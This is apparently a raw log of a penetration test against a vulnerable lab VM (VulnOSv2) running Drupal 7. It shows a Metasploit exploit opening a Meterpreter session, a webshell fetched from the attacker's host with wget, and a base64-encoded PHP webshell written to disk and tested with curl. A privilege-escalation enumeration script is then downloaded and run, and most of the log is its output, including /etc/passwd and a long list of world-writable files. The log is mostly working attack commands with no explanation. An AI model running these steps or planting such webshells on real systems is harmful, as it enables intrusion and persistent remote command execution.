[*] Drupal 7 targeted at http://192.168.1.50/jabc/
[-] Could not determine Drupal patch level
[*] Sending stage (37775 bytes) to 192.168.1.50
[*] Meterpreter session 1 opened (192.168.1.8:4444 -> 192.168.1.50:60147) at 2018-09-25 22:14:04 +0200
id
meterpreter > id
[-] Unknown command: id.
meterpreter > getuid
Server username: www-data (33)
meterpreter >
===================================================================================
Adding a Webshell to get a persistant access on the target server (just in case)
===================================================================================
meterpreter > shell
$ wget http://192.168.1.8:8000/Webshell.php
--2018-09-25 22:27:21-- http://192.168.1.8:8000/Webshell.php
Connecting to 192.168.1.8:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 48 [application/octet-stream]
Saving to: 'Webshell.php'
0K 100% 8.14M=0s
2018-09-25 22:27:21 (8.14 MB/s) - 'Webshell.php' saved [48/48]
$ ls
Webshell.php
authorize.php
cron.php
includes
index.php
install.php
misc
modules
profiles
robots.txt
scripts
sites
templates
themes
update.php
xmlrpc.php
Other method without downloading file
======================================
$ echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
$ cat s.php
<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
root@Security-Audit-01:~# curl -v http://192.168.1.50/jabc/s.php?c=id
* Trying 192.168.1.50...
* TCP_NODELAY set
* Connected to 192.168.1.50 (192.168.1.50) port 80 (#0)
> GET /jabc/s.php?c=id HTTP/1.1
> Host: 192.168.1.50
> User-Agent: curl/7.60.0
> Accept: */*
< HTTP/1.1 200 OK
< Date: Tue, 25 Sep 2018 21:18:37 GMT
< Server: Apache/2.4.7 (Ubuntu)
< X-Powered-By: PHP/5.5.9-1ubuntu4.14
< Content-Length: 54
< Content-Type: text/html
uid=33(www-data) gid=33(www-data) groups=33(www-data)
===================================================================================================
Privesc script - LinEnum
===================================================================================================
$ wget http://192.168.1.8:8000/WLinEnum.sh
$chmod +x LinEnum.sh
$./LinEnum.sh -t
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.91
[-] Debug Info
[+] Thorough tests = Enabled
Scan started at:
Tue Sep 25 22:29:15 CEST 2018
### SYSTEM ##############################################
[-] Kernel information:
Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux
[-] Kernel information (continued):
Linux version 3.13.0-24-generic (buildd@komainu) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014
[-] Specific release information:
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.4 LTS"
NAME="Ubuntu"
VERSION="14.04.4 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.4 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
[-] Hostname:
VulnOSv2
### USER/GROUP ##########################################
[-] Current user/group info:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[-] Users that have previously logged onto the system:
Username Port From Latest
root tty1 Wed May 4 19:36:39 +0200 2016
vulnosadmin pts/0 192.168.56.101 Wed May 4 19:35:16 +0200 2016
webmin tty1 Wed May 4 10:41:07 +0200 2016
[-] Who else is logged on:
22:29:15 up 47 min, 0 users, load average: 0.00, 0.01, 0.03
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
[-] Group memberships:
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(libuuid) gid=101(libuuid) groups=101(libuuid)
uid=101(syslog) gid=104(syslog) groups=104(syslog),4(adm)
uid=102(messagebus) gid=106(messagebus) groups=106(messagebus)
uid=103(landscape) gid=109(landscape) groups=109(landscape)
uid=1000(vulnosadmin) gid=1000(vulnosadmin) groups=1000(vulnosadmin),4(adm),24(cdrom),30(dip),46(plugdev),110(lpadmin),111(sambashare)
uid=104(mysql) gid=113(mysql) groups=113(mysql)
uid=1001(webmin) gid=1001(webmin) groups=1001(webmin)
uid=105(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=106(postfix) gid=114(postfix) groups=114(postfix)
uid=107(postgres) gid=116(postgres) groups=116(postgres),112(ssl-cert)
[-] It looks like we have some admin users:
uid=101(syslog) gid=104(syslog) groups=104(syslog),4(adm)
uid=1000(vulnosadmin) gid=1000(vulnosadmin) groups=1000(vulnosadmin),4(adm),24(cdrom),30(dip),46(plugdev),110(lpadmin),111(sambashare)
[-] Contents of /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
vulnosadmin:x:1000:1000:vulnosadmin,,,:/home/vulnosadmin:/bin/bash
mysql:x:104:113:MySQL Server,,,:/nonexistent:/bin/false
webmin:x:1001:1001::/home/webmin:
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
postfix:x:106:114::/var/spool/postfix:/bin/false
postgres:x:107:116:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[-] Super user account(s):
root
[-] Are permissions on /home directories lax:
total 16K
drwxr-xr-x 4 root root 4.0K Apr 16 2016 .
drwxr-xr-x 21 root root 4.0K Apr 3 2016 ..
drwxr-x--- 3 vulnosadmin vulnosadmin 4.0K May 4 2016 vulnosadmin
drwxr-x--- 3 webmin webmin 4.0K May 3 2016 webmin
[-] Files not owned by user but writable by group:
-rwxrwxrwx 1 root www-data 576 Apr 16 2016 /etc/drupal/7/sites/default/dbconfig.php
-rwxrwxrwx 1 root root 18599 Jan 15 2014 /etc/drupal/7/sites/default/settings.php
-rwxrwxrwx 1 root root 969 May 3 2016 /var/www/html/index.html
-rwxrwxrwx 1 root root 1561 Apr 16 2016 /var/www/html/jabc/robots.txt
-rwxrwxrwx 1 root root 6604 Apr 16 2016 /var/www/html/jabc/authorize.php
-rwxrwxrwx 1 root root 1701 Apr 16 2016 /var/www/html/jabc/includes/archiver.inc
-rwxrwxrwx 1 root root 3188 Apr 16 2016 /var/www/html/jabc/includes/json-encode.inc
-rwxrwxrwx 1 root root 2310 Apr 16 2016 /var/www/html/jabc/includes/batch.queue.inc
-rwxrwxrwx 1 root root 191182 Apr 16 2016 /var/www/html/jabc/includes/form.inc
-rwxrwxrwx 1 root root 88853 Apr 16 2016 /var/www/html/jabc/includes/file.inc
-rwxrwxrwx 1 root root 17738 Apr 16 2016 /var/www/html/jabc/includes/xmlrpc.inc
-rwxrwxrwx 1 root root 110181 Apr 16 2016 /var/www/html/jabc/includes/theme.inc
-rwxrwxrwx 1 root root 40949 Apr 16 2016 /var/www/html/jabc/includes/module.inc
-rwxrwxrwx 1 root root 11142 Apr 16 2016 /var/www/html/jabc/includes/xmlrpcs.inc
-rwxrwxrwx 1 root root 4828 Apr 16 2016 /var/www/html/jabc/includes/graph.inc
-rwxrwxrwx 1 root root 13675 Apr 16 2016 /var/www/html/jabc/includes/updater.inc
-rwxrwxrwx 1 root root 20759 Apr 16 2016 /var/www/html/jabc/includes/path.inc
-rwxrwxrwx 1 root root 84054 Apr 16 2016 /var/www/html/jabc/includes/locale.inc
-rwxrwxrwx 1 root root 12009 Apr 16 2016 /var/www/html/jabc/includes/filetransfer/filetransfer.inc
-rwxrwxrwx 1 root root 4790 Apr 16 2016 /var/www/html/jabc/includes/filetransfer/ftp.inc
-rwxrwxrwx 1 root root 2777 Apr 16 2016 /var/www/html/jabc/includes/filetransfer/local.inc
-rwxrwxrwx 1 root root 4121 Apr 16 2016 /var/www/html/jabc/includes/filetransfer/ssh.inc
-rwxrwxrwx 1 root root 1991 Apr 16 2016 /var/www/html/jabc/includes/utility.inc
-rwxrwxrwx 1 root root 23819 Apr 16 2016 /var/www/html/jabc/includes/file.mimetypes.inc
-rwxrwxrwx 1 root root 5487 Apr 16 2016 /var/www/html/jabc/includes/unicode.entities.inc
-rwxrwxrwx 1 root root 17497 Apr 16 2016 /var/www/html/jabc/includes/batch.inc
-rwxrwxrwx 1 root root 13664 Apr 16 2016 /var/www/html/jabc/includes/authorize.inc
-rwxrwxrwx 1 root root 7478 Apr 16 2016 /var/www/html/jabc/includes/tablesort.inc
-rwxrwxrwx 1 root root 22554 Apr 16 2016 /var/www/html/jabc/includes/pager.inc
-rwxrwxrwx 1 root root 15466 Apr 16 2016 /var/www/html/jabc/includes/iso.inc
-rwxrwxrwx 1 root root 2487 Apr 16 2016 /var/www/html/jabc/includes/cache-install.inc
-rwxrwxrwx 1 root root 44095 Apr 16 2016 /var/www/html/jabc/includes/install.inc
-rwxrwxrwx 1 root root 46913 Apr 16 2016 /var/www/html/jabc/includes/ajax.inc
-rwxrwxrwx 1 root root 22583 Apr 16 2016 /var/www/html/jabc/includes/unicode.inc
-rwxrwxrwx 1 root root 19998 Apr 16 2016 /var/www/html/jabc/includes/cache.inc
-rwxrwxrwx 1 root root 9362 Apr 16 2016 /var/www/html/jabc/includes/password.inc
-rwxrwxrwx 1 root root 4506 Apr 16 2016 /var/www/html/jabc/includes/date.inc
-rwxrwxrwx 1 root root 23173 Apr 16 2016 /var/www/html/jabc/includes/stream_wrappers.inc
-rwxrwxrwx 1 root root 13416 Apr 16 2016 /var/www/html/jabc/includes/image.inc
-rwxrwxrwx 1 root root 9864 Apr 16 2016 /var/www/html/jabc/includes/token.inc
-rwxrwxrwx 1 root root 139035 Apr 16 2016 /var/www/html/jabc/includes/menu.inc
-rwxrwxrwx 1 root root 46098 Apr 16 2016 /var/www/html/jabc/includes/entity.inc
-rwxrwxrwx 1 root root 303365 Apr 16 2016 /var/www/html/jabc/includes/common.inc
-rwxrwxrwx 1 root root 13816 Apr 16 2016 /var/www/html/jabc/includes/actions.inc
-rwxrwxrwx 1 root root 10320 Apr 16 2016 /var/www/html/jabc/includes/errors.inc
-rwxrwxrwx 1 root root 79301 Apr 16 2016 /var/www/html/jabc/includes/install.core.inc
-rwxrwxrwx 1 root root 18341 Apr 16 2016 /var/www/html/jabc/includes/session.inc
-rwxrwxrwx 1 root root 6425 Apr 16 2016 /var/www/html/jabc/includes/registry.inc
-rwxrwxrwx 1 root root 59045 Apr 16 2016 /var/www/html/jabc/includes/update.inc
-rwxrwxrwx 1 root root 23197 Apr 16 2016 /var/www/html/jabc/includes/mail.inc
-rwxrwxrwx 1 root root 7070 Apr 16 2016 /var/www/html/jabc/includes/theme.maintenance.inc
-rwxrwxrwx 1 root root 9383 Apr 16 2016 /var/www/html/jabc/includes/lock.inc
-rwxrwxrwx 1 root root 27085 Apr 16 2016 /var/www/html/jabc/includes/database/schema.inc
-rwxrwxrwx 1 root root 13990 Apr 16 2016 /var/www/html/jabc/includes/database/prefetch.inc
-rwxrwxrwx 1 root root 95779 Apr 16 2016 /var/www/html/jabc/includes/database/database.inc
-rwxrwxrwx 1 root root 4872 Apr 16 2016 /var/www/html/jabc/includes/database/log.inc
-rwxrwxrwx 1 root root 18554 Apr 16 2016 /var/www/html/jabc/includes/database/mysql/schema.inc
-rwxrwxrwx 1 root root 8169 Apr 16 2016 /var/www/html/jabc/includes/database/mysql/database.inc
-rwxrwxrwx 1 root root 629 Apr 16 2016 /var/www/html/jabc/includes/database/mysql/install.inc
-rwxrwxrwx 1 root root 2911 Apr 16 2016 /var/www/html/jabc/includes/database/mysql/query.inc
-rwxrwxrwx 1 root root 49714 Apr 16 2016 /var/www/html/jabc/includes/database/select.inc
-rwxrwxrwx 1 root root 23403 Apr 16 2016 /var/www/html/jabc/includes/database/sqlite/schema.inc
-rwxrwxrwx 1 root root 17957 Apr 16 2016 /var/www/html/jabc/includes/database/sqlite/database.inc
-rwxrwxrwx 1 root root 1705 Apr 16 2016 /var/www/html/jabc/includes/database/sqlite/install.inc
-rwxrwxrwx 1 root root 404 Apr 16 2016 /var/www/html/jabc/includes/database/sqlite/select.inc
-rwxrwxrwx 1 root root 4405 Apr 16 2016 /var/www/html/jabc/includes/database/sqlite/query.inc
-rwxrwxrwx 1 root root 23051 Apr 16 2016 /var/www/html/jabc/includes/database/pgsql/schema.inc
-rwxrwxrwx 1 root root 8119 Apr 16 2016 /var/www/html/jabc/includes/database/pgsql/database.inc
-rwxrwxrwx 1 root root 7135 Apr 16 2016 /var/www/html/jabc/includes/database/pgsql/install.inc
-rwxrwxrwx 1 root root 3457 Apr 16 2016 /var/www/html/jabc/includes/database/pgsql/select.inc
-rwxrwxrwx 1 root root 7872 Apr 16 2016 /var/www/html/jabc/includes/database/pgsql/query.inc
-rwxrwxrwx 1 root root 57435 Apr 16 2016 /var/www/html/jabc/includes/database/query.inc
-rwxrwxrwx 1 root root 19468 Apr 16 2016 /var/www/html/jabc/includes/language.inc
-rwxrwxrwx 1 root root 119605 Apr 16 2016 /var/www/html/jabc/includes/bootstrap.inc
-rwxrwxrwx 1 root root 19986 Apr 16 2016 /var/www/html/jabc/update.php
-rwxrwxrwx 1 root root 417 Apr 16 2016 /var/www/html/jabc/xmlrpc.php
-rwxrwxrwx 1 root root 12105 Apr 16 2016 /var/www/html/jabc/modules/statistics/statistics.admin.inc
-rwxrwxrwx 1 root root 215 Apr 16 2016 /var/www/html/jabc/modules/statistics/statistics.js
-rwxrwxrwx 1 root root 311 Apr 16 2016 /var/www/html/jabc/modules/statistics/statistics.info
-rwxrwxrwx 1 root root 19144 Apr 16 2016 /var/www/html/jabc/modules/statistics/statistics.module
-rwxrwxrwx 1 root root 19120 Apr 16 2016 /var/www/html/jabc/modules/statistics/statistics.test
-rwxrwxrwx 1 root root 3260 Apr 16 2016 /var/www/html/jabc/modules/statistics/statistics.pages.inc
-rwxrwxrwx 1 root root 912 Apr 16 2016 /var/www/html/jabc/modules/statistics/statistics.php
-rwxrwxrwx 1 root root 1783 Apr 16 2016 /var/www/html/jabc/modules/statistics/statistics.tokens.inc
-rwxrwxrwx 1 root root 4284 Apr 16 2016 /var/www/html/jabc/modules/statistics/statistics.install
-rwxrwxrwx 1 root root 94806 Apr 16 2016 /var/www/html/jabc/modules/comment/comment.test
-rwxrwxrwx 1 root root 396 Apr 16 2016 /var/www/html/jabc/modules/comment/comment.info
-rwxrwxrwx 1 root root 3649 Apr 16 2016 /var/www/html/jabc/modules/comment/comment.tpl.php
-rwxrwxrwx 1 root root 2026 Apr 16 2016 /var/www/html/jabc/modules/comment/comment-wrapper.tpl.php
-rwxrwxrwx 1 root root 55 Apr 16 2016 /var/www/html/jabc/modules/comment/comment-rtl.css
-rwxrwxrwx 1 root root 9327 Apr 16 2016 /var/www/html/jabc/modules/comment/comment.admin.inc
-rwxrwxrwx 1 root root 7851 Apr 16 2016 /var/www/html/jabc/modules/comment/comment.tokens.inc
-rwxrwxrwx 1 root root 4595 Apr 16 2016 /var/www/html/jabc/modules/comment/comment.pages.inc
-rwxrwxrwx 1 root root 184 Apr 16 2016 /var/www/html/jabc/modules/comment/comment.css
-rwxrwxrwx 1 root root 92862 Apr 16 2016 /var/www/html/jabc/modules/comment/comment.module
-rwxrwxrwx 1 root root 18279 Apr 16 2016 /var/www/html/jabc/modules/comment/comment.install
-rwxrwxrwx 1 root root 3893 Apr 16 2016 /var/www/html/jabc/modules/comment/comment.api.php
-rwxrwxrwx 1 root root 1050 Apr 16 2016 /var/www/html/jabc/modules/comment/comment-node-form.js
-rwxrwxrwx 1 root root 9060 Apr 16 2016 /var/www/html/jabc/modules/blog/blog.module
-rwxrwxrwx 1 root root 244 Apr 16 2016 /var/www/html/jabc/modules/blog/blog.info
-rwxrwxrwx 1 root root 8486 Apr 16 2016 /var/www/html/jabc/modules/blog/blog.test
-rwxrwxrwx 1 root root 3494 Apr 16 2016 /var/www/html/jabc/modules/blog/blog.pages.inc
-rwxrwxrwx 1 root root 404 Apr 16 2016 /var/www/html/jabc/modules/blog/blog.install
-rwxrwxrwx 1 root root 67678 Apr 16 2016 /var/www/html/jabc/modules/filter/filter.module
-rwxrwxrwx 1 root root 2183 Apr 16 2016 /var/www/html/jabc/modules/filter/tests/filter.url-input.txt
-rwxrwxrwx 1 root root 3638 Apr 16 2016 /var/www/html/jabc/modules/filter/tests/filter.url-output.txt
-rwxrwxrwx 1 root root 2409 Apr 16 2016 /var/www/html/jabc/modules/filter/filter.pages.inc
-rwxrwxrwx 1 root root 323 Apr 16 2016 /var/www/html/jabc/modules/filter/filter.info
-rwxrwxrwx 1 root root 923 Apr 16 2016 /var/www/html/jabc/modules/filter/filter.css
-rwxrwxrwx 1 root root 87527 Apr 16 2016 /var/www/html/jabc/modules/filter/filter.test
-rwxrwxrwx 1 root root 1580 Apr 16 2016 /var/www/html/jabc/modules/filter/filter.admin.js
-rwxrwxrwx 1 root root 15807 Apr 16 2016 /var/www/html/jabc/modules/filter/filter.install
-rwxrwxrwx 1 root root 14761 Apr 16 2016 /var/www/html/jabc/modules/filter/filter.admin.inc
-rwxrwxrwx 1 root root 556 Apr 16 2016 /var/www/html/jabc/modules/filter/filter.js
-rwxrwxrwx 1 root root 11813 Apr 16 2016 /var/www/html/jabc/modules/filter/filter.api.php
-rwxrwxrwx 1 root root 1116 Apr 16 2016 /var/www/html/jabc/modules/image/image.admin.css
-rwxrwxrwx 1 root root 323 Apr 16 2016 /var/www/html/jabc/modules/image/tests/image_module_test.info
-rwxrwxrwx 1 root root 1101 Apr 16 2016 /var/www/html/jabc/modules/image/tests/image_module_test.module
-rwxrwxrwx 1 root root 77904 Apr 16 2016 /var/www/html/jabc/modules/image/image.test
-rwxrwxrwx 1 root root 225 Apr 16 2016 /var/www/html/jabc/modules/image/image.css
-rwxrwxrwx 1 root root 15138 Apr 16 2016 /var/www/html/jabc/modules/image/image.install
-rwxrwxrwx 1 root root 139 Apr 16 2016 /var/www/html/jabc/modules/image/image-rtl.css
-rwxrwxrwx 1 root root 33545 Apr 16 2016 /var/www/html/jabc/modules/image/image.admin.inc
-rwxrwxrwx 1 root root 21068 Apr 16 2016 /var/www/html/jabc/modules/image/image.field.inc
-rwxrwxrwx 1 root root 168110 Apr 16 2016 /var/www/html/jabc/modules/image/sample.png
-rwxrwxrwx 1 root root 12334 Apr 16 2016 /var/www/html/jabc/modules/image/image.effects.inc
-rwxrwxrwx 1 root root 47227 Apr 16 2016 /var/www/html/jabc/modules/image/image.module
-rwxrwxrwx 1 root root 321 Apr 16 2016 /var/www/html/jabc/modules/image/image.info
-rwxrwxrwx 1 root root 7214 Apr 16 2016 /var/www/html/jabc/modules/image/image.api.php
-rwxrwxrwx 1 root root 13662 Apr 16 2016 /var/www/html/jabc/modules/shortcut/shortcut.test
-rwxrwxrwx 1 root root 529 Apr 16 2016 /var/www/html/jabc/modules/shortcut/shortcut.png
-rwxrwxrwx 1 root root 104 Apr 16 2016 /var/www/html/jabc/modules/shortcut/shortcut.admin.css
-rwxrwxrwx 1 root root 1067 Apr 16 2016 /var/www/html/jabc/modules/shortcut/shortcut-rtl.css
-rwxrwxrwx 1 root root 2408 Apr 16 2016 /var/www/html/jabc/modules/shortcut/shortcut.css
-rwxrwxrwx 1 root root 26882 Apr 16 2016 /var/www/html/jabc/modules/shortcut/shortcut.admin.inc
-rwxrwxrwx 1 root root 336 Apr 16 2016 /var/www/html/jabc/modules/shortcut/shortcut.info
-rwxrwxrwx 1 root root 3053 Apr 16 2016 /var/www/html/jabc/modules/shortcut/shortcut.install
-rwxrwxrwx 1 root root 1239 Apr 16 2016 /var/www/html/jabc/modules/shortcut/shortcut.api.php
-rwxrwxrwx 1 root root 27199 Apr 16 2016 /var/www/html/jabc/modules/shortcut/shortcut.module
-rwxrwxrwx 1 root root 4485 Apr 16 2016 /var/www/html/jabc/modules/shortcut/shortcut.admin.js
-rwxrwxrwx 1 root root 2082 Apr 16 2016 /var/www/html/jabc/modules/aggregator/tests/aggregator_test.module
-rwxrwxrwx 1 root root 2593 Apr 16 2016 /var/www/html/jabc/modules/aggregator/tests/aggregator_test_rss091.xml
-rwxrwxrwx 1 root root 572 Apr 16 2016 /var/www/html/jabc/modules/aggregator/tests/aggregator_test_atom.xml
-rwxrwxrwx 1 root root 285 Apr 16 2016 /var/www/html/jabc/modules/aggregator/tests/aggregator_test.info
-rwxrwxrwx 1 root root 715 Apr 16 2016 /var/www/html/jabc/modules/aggregator/aggregator-summary-item.tpl.php
-rwxrwxrwx 1 root root 1296 Apr 16 2016 /var/www/html/jabc/modules/aggregator/aggregator-item.tpl.php
-rwxrwxrwx 1 root root 124 Apr 16 2016 /var/www/html/jabc/modules/aggregator/aggregator-rtl.css
-rwxrwxrwx 1 root root 28677 Apr 16 2016 /var/www/html/jabc/modules/aggregator/aggregator.module
-rwxrwxrwx 1 root root 9558 Apr 16 2016 /var/www/html/jabc/modules/aggregator/aggregator.parser.inc
-rwxrwxrwx 1 root root 19870 Apr 16 2016 /var/www/html/jabc/modules/aggregator/aggregator.pages.inc
-rwxrwxrwx 1 root root 7379 Apr 16 2016 /var/www/html/jabc/modules/aggregator/aggregator.api.php
-rwxrwxrwx 1 root root 38360 Apr 16 2016 /var/www/html/jabc/modules/aggregator/aggregator.test
-rwxrwxrwx 1 root root 8071 Apr 16 2016 /var/www/html/jabc/modules/aggregator/aggregator.processor.inc
-rwxrwxrwx 1 root root 397 Apr 16 2016 /var/www/html/jabc/modules/aggregator/aggregator-wrapper.tpl.php
-rwxrwxrwx 1 root root 380 Apr 16 2016 /var/www/html/jabc/modules/aggregator/aggregator.info
-rwxrwxrwx 1 root root 1696 Apr 16 2016 /var/www/html/jabc/modules/aggregator/aggregator.fetcher.inc
-rwxrwxrwx 1 root root 652 Apr 16 2016 /var/www/html/jabc/modules/aggregator/aggregator-summary-items.tpl.php
-rwxrwxrwx 1 root root 24420 Apr 16 2016 /var/www/html/jabc/modules/aggregator/aggregator.admin.inc
-rwxrwxrwx 1 root root 1105 Apr 16 2016 /var/www/html/jabc/modules/aggregator/aggregator-feed-source.tpl.php
-rwxrwxrwx 1 root root 9621 Apr 16 2016 /var/www/html/jabc/modules/aggregator/aggregator.install
-rwxrwxrwx 1 root root 779 Apr 16 2016 /var/www/html/jabc/modules/aggregator/aggregator.css
-rwxrwxrwx 1 root root 1689 Apr 16 2016 /var/www/html/jabc/modules/user/user-profile.tpl.php
-rwxrwxrwx 1 root root 275 Apr 16 2016 /var/www/html/jabc/modules/user/tests/user_form_test.info
-rwxrwxrwx 1 root root 1743 Apr 16 2016 /var/www/html/jabc/modules/user/tests/user_form_test.module
-rwxrwxrwx 1 root root 39444 Apr 16 2016 /var/www/html/jabc/modules/user/user.admin.inc
-rwxrwxrwx 1 root root 366 Apr 16 2016 /var/www/html/jabc/modules/user/user.info
-rwxrwxrwx 1 root root 1001 Apr 16 2016 /var/www/html/jabc/modules/user/user-profile-category.tpl.php
-rwxrwxrwx 1 root root 29469 Apr 16 2016 /var/www/html/jabc/modules/user/user.install
-rwxrwxrwx 1 root root 4093 Apr 16 2016 /var/www/html/jabc/modules/user/user.tokens.inc
-rwxrwxrwx 1 root root 141848 Apr 16 2016 /var/www/html/jabc/modules/user/user.module
-rwxrwxrwx 1 root root 595 Apr 16 2016 /var/www/html/jabc/modules/user/user-picture.tpl.php
-rwxrwxrwx 1 root root 21936 Apr 16 2016 /var/www/html/jabc/modules/user/user.pages.inc
-rwxrwxrwx 1 root root 6568 Apr 16 2016 /var/www/html/jabc/modules/user/user.js
-rwxrwxrwx 1 root root 2723 Apr 16 2016 /var/www/html/jabc/modules/user/user.permissions.js
-rwxrwxrwx 1 root root 918 Apr 16 2016 /var/www/html/jabc/modules/user/user-profile-item.tpl.php
-rwxrwxrwx 1 root root 99132 Apr 16 2016 /var/www/html/jabc/modules/user/user.test
-rwxrwxrwx 1 root root 510 Apr 16 2016 /var/www/html/jabc/modules/user/user-rtl.css
-rwxrwxrwx 1 root root 1827 Apr 16 2016 /var/www/html/jabc/modules/user/user.css
-rwxrwxrwx 1 root root 15764 Apr 16 2016 /var/www/html/jabc/modules/user/user.api.php
-rwxrwxrwx 1 root root 1591 Apr 16 2016 /var/www/html/jabc/modules/rdf/tests/rdf_test.module
-rwxrwxrwx 1 root root 270 Apr 16 2016 /var/www/html/jabc/modules/rdf/tests/rdf_test.info
-rwxrwxrwx 1 root root 472 Apr 16 2016 /var/www/html/jabc/modules/rdf/tests/rdf_test.install
-rwxrwxrwx 1 root root 35857 Apr 16 2016 /var/www/html/jabc/modules/rdf/rdf.test
-rwxrwxrwx 1 root root 1292 Apr 16 2016 /var/www/html/jabc/modules/rdf/rdf.install
-rwxrwxrwx 1 root root 35553 Apr 16 2016 /var/www/html/jabc/modules/rdf/rdf.module
-rwxrwxrwx 1 root root 365 Apr 16 2016 /var/www/html/jabc/modules/rdf/rdf.info
-rwxrwxrwx 1 root root 3636 Apr 16 2016 /var/www/html/jabc/modules/rdf/rdf.api.php
-rwxrwxrwx 1 root root 289 Apr 16 2016 /var/www/html/jabc/modules/translation/tests/translation_test.info
-rwxrwxrwx 1 root root 207 Apr 16 2016 /var/www/html/jabc/modules/translation/tests/translation_test.module
-rwxrwxrwx 1 root root 322 Apr 16 2016 /var/www/html/jabc/modules/translation/translation.info
-rwxrwxrwx 1 root root 3278 Apr 16 2016 /var/www/html/jabc/modules/translation/translation.pages.inc
-rwxrwxrwx 1 root root 22087 Apr 16 2016 /var/www/html/jabc/modules/translation/translation.test
-rwxrwxrwx 1 root root 22652 Apr 16 2016 /var/www/html/jabc/modules/translation/translation.module
-rwxrwxrwx 1 root root 1340 Apr 16 2016 /var/www/html/jabc/modules/toolbar/toolbar.tpl.php
-rwxrwxrwx 1 root root 561 Apr 16 2016 /var/www/html/jabc/modules/toolbar/toolbar-rtl.css
-rwxrwxrwx 1 root root 3020 Apr 16 2016 /var/www/html/jabc/modules/toolbar/toolbar.js
-rwxrwxrwx 1 root root 3376 Apr 16 2016 /var/www/html/jabc/modules/toolbar/toolbar.css
-rwxrwxrwx 1 root root 10958 Apr 16 2016 /var/www/html/jabc/modules/toolbar/toolbar.module
-rwxrwxrwx 1 root root 558 Apr 16 2016 /var/www/html/jabc/modules/toolbar/toolbar.png
-rwxrwxrwx 1 root root 301 Apr 16 2016 /var/www/html/jabc/modules/toolbar/toolbar.info
-rwxrwxrwx 1 root root 71111 Apr 16 2016 /var/www/html/jabc/modules/taxonomy/taxonomy.module
-rwxrwxrwx 1 root root 78331 Apr 16 2016 /var/www/html/jabc/modules/taxonomy/taxonomy.test
-rwxrwxrwx 1 root root 1770 Apr 16 2016 /var/www/html/jabc/modules/taxonomy/taxonomy.js
-rwxrwxrwx 1 root root 6704 Apr 16 2016 /var/www/html/jabc/modules/taxonomy/taxonomy.pages.inc
-rwxrwxrwx 1 root root 6028 Apr 16 2016 /var/www/html/jabc/modules/taxonomy/taxonomy.tokens.inc
-rwxrwxrwx 1 root root 36578 Apr 16 2016 /var/www/html/jabc/modules/taxonomy/taxonomy.admin.inc
-rwxrwxrwx 1 root root 6060 Apr 16 2016 /var/www/html/jabc/modules/taxonomy/taxonomy.api.php
-rwxrwxrwx 1 root root 2144 Apr 16 2016 /var/www/html/jabc/modules/taxonomy/taxonomy-term.tpl.php
-rwxrwxrwx 1 root root 232 Apr 16 2016 /var/www/html/jabc/modules/taxonomy/taxonomy.css
-rwxrwxrwx 1 root root 29950 Apr 16 2016 /var/www/html/jabc/modules/taxonomy/taxonomy.install
-rwxrwxrwx 1 root root 353 Apr 16 2016 /var/www/html/jabc/modules/taxonomy/taxonomy.info
